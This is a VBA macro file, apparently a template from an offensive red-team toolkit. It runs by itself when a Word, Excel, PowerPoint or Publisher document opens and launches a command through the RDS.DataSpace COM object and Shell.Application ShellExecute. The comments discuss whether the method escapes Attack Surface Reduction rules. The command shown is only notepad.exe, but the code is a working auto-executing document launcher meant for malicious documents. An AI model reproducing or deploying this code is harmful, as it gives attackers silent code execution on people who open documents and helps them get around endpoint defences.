'
' Expected to be obsoleted and no longer available:
'   1) MSDN documentation says: 
'      "Beginning with Windows 8 and Windows Server 2012, RDS server components are no longer included in the Windows operating system"
'   2) StackOverflow post:
'      https://stackoverflow.com/questions/48633384/getting-rds-dataspace-object-to-work-with-windows-10
'      "Is it possible to get the RDS.Dataspace object (...) to work on Windows 10? [...] works fine on both Windows 7 and Windows Server 2012 R2"
'
' Yet it worked on my Windows 10 1809 and Windows 11 21H2. Unsure if can get blocked by ASR rules.
' This method doesn't bring any advantages over shellBrowserWindow COM object one.
'

Sub obf_LaunchCommand(ByVal obf_command As String)
    On Error GoTo obf_ProcError
    Dim obf_objOL, obf_shellObj
    
    ' RDS.DataSpace
    Set obf_objOL = CreateObject("new:BD96C556-65A3-11D0-983A-00C04FC29E36")
    
    ' Below CreateObject accepts only ProgId's, cannot pass CLSID there.
    Set obf_shellObj = obf_objOL.CreateObject("Shell.Application", "")
    obf_shellObj.ShellExecute obf_command
    
obf_ProcError:
End Sub

Sub obf_GeneratorEntryPoint()
    On Error GoTo obf_ProcError
    Dim obf_code
    obf_code = ""
    

    obf_LaunchCommand "notepad.exe"

obf_ProcError:
End Sub

Sub obf_MacroEntryPoint()
    On Error Resume Next

    
    obf_GeneratorEntryPoint
    
End Sub

Sub OnPowerPoint()
    obf_MacroEntryPoint
End Sub

Sub Document_Open()
    ' Becomes launched as second, another try, on MS Word / Publisher
    obf_MacroEntryPoint
End Sub

Sub Auto_Open()
    ' Becomes launched as first on MS Excel
    obf_MacroEntryPoint
End Sub

Sub Workbook_Open()
    ' Becomes launched as second, another try, on MS Excel
    obf_MacroEntryPoint
End Sub

Sub AutoOpen()
    ' Becomes launched as first on MS Word / Publisher
    obf_MacroEntryPoint
End Sub